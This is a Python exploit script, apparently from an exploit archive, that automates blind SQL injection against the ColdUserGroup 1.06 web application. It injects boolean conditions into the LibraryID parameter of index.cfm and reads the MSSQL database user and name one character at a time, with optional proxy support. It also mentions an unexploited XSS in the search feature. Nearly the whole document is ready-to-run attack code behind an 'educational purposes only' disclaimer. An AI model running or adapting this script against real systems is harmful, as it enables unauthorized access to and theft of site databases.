ColdUserGroup 1.06 Blind SQL Injection

`#!/usr/bin/python  
# ColdGen - coldusergroup v1.06 0day Remote Blind SQL Injection Exploit  
# Vendor: http://www.coldgen.com/  
# Found by: mr_me  
# ----------------------------------------------->  
# Script provided 'as is', without any warranty.  
# Use for educational purposes only.  
# Do not use this code to do anything illegal !  
# ----------------------------------------------->  
# The vulnerabilities:  
# ===================  
# - Blind SQL Injection in the index.cfm using parameters: ArticleID & LibraryID  
# - XSS in the search  
#  
# This tool assumes the target has a MSSQL backend.  
# ./ColdUsrGrp0day.py -p localhost:8080 -s "Author:" -t localhost:8500 -d /coldusrgrp/  
#  
# | ----------------------------------------------------------------- |  
# | -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- |  
# | -------------------[ by mr_me - net-ninja.net ]------------------ |  
#  
# (+) Exploiting target @: http://localhost:8500/coldusrgrp/  
# (+) Using string 'Author:' for the true page  
# (+) This will take time, have patience..  
#  
# (+) Testing Proxy...  
# (+) Proxy @ localhost:8080  
# (+) Building Handler..  
#  
# (!) Getting database user: sa  
# (!) Getting database name: coldusergroup  
  
import sys, urllib, re  
from optparse import OptionParser  
  
usage = "./%prog [<options>] -s [true string] -t [target] -d [directory]"  
usage += "\nExample: ./%prog -p localhost:8080 -s 'Author:' -t localhost:8500 -d /coldusrgrp/"  
  
parser = OptionParser(usage=usage)  
parser.add_option("-p", type="string",action="store", dest="proxy",  
help="HTTP Proxy <server:port>")  
parser.add_option("-t", type="string", action="store", dest="target",  
help="The Target server <server:port>")  
parser.add_option("-d", type="string", action="store", dest="directory",  
help="Directory path to the CMS")  
parser.add_option("-s", type="string", action="store", dest="trueStr",  
help="String that is on the 'true' page")  
(options, args) = parser.parse_args()  
  
def banner():  
print "\n\t| ----------------------------------------------------------------- |"  
print "\t| -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- |"  
print "\t| -------------------[ by mr_me - net-ninja.net ]------------------ |\n"  
  
if len(sys.argv) < 5:  
banner()  
parser.print_help()  
sys.exit(1)  
  
def setTargetHTTP():  
if options.target[0:7] != 'http://':  
options.target = "http://" + options.target  
return options.target  
  
def getProxy():  
try:  
proxy = {'http': "http://"+options.proxy}  
opener = urllib.FancyURLopener(proxy)  
except(socket.timeout):  
print "\n(-) Proxy Timed Out"  
sys.exit(1)  
except(),msg:  
print "\n(-) Proxy Failed"  
sys.exit(1)  
return opener  
  
def getRequest(exploit):  
if options.proxy:  
try:  
options.target = setTargetHTTP()  
opener = getProxy()  
check = opener.open(options.target+options.directory+exploit).read()  
except urllib.error.HTTPError, error:  
check = error.read()  
except socket.error:  
print "(-) Proxy connection failed"  
sys.exit(1)  
else:  
try:  
check = urllib.urlopen(options.target+options.directory+exploit).read()  
except urllib.error.HTTPError, error:  
check = error.read()  
except urllib.error.URLError:  
print "(-) Target connection failed, check your address"  
sys.exit(1)  
return check  
  
basicInfo = {'user':'user_name(0)', 'name':'db_name(0)'}  
  
def getBasicInfo(info, x):  
for i in range(32,126):  
request = ("index.cfm?actcfug=LibraryView&LibraryID=209+AND+ISNULL"  
"(ASCII(SUBSTRING(CAST((SELECT+LOWER("+info+"))AS+varchar(8000)),"+str(x)+",1)),0)="+str(i))  
result = getRequest(request)  
if re.search(options.trueStr,result):  
x = x+1  
sys.stdout.write(chr(i))  
getBasicInfo(info, x)  
  
if __name__ == "__main__":  
x = 1  
banner()  
options.target = setTargetHTTP()  
print "(+) Exploiting target @: %s" % (options.target+options.directory)  
print "(+) Using string '%s' for the true page" % (options.trueStr)  
print "(+) This will take time, have patience.."  
if options.proxy:  
print "\n(+) Testing Proxy..."  
print "(+) Proxy @ %s" % (options.proxy)  
print "(+) Building Handler.."  
  
for key in basicInfo:  
sys.stdout.write("\n(!) Getting database " + key + ": ")  
getBasicInfo(basicInfo[key], x)  
  
`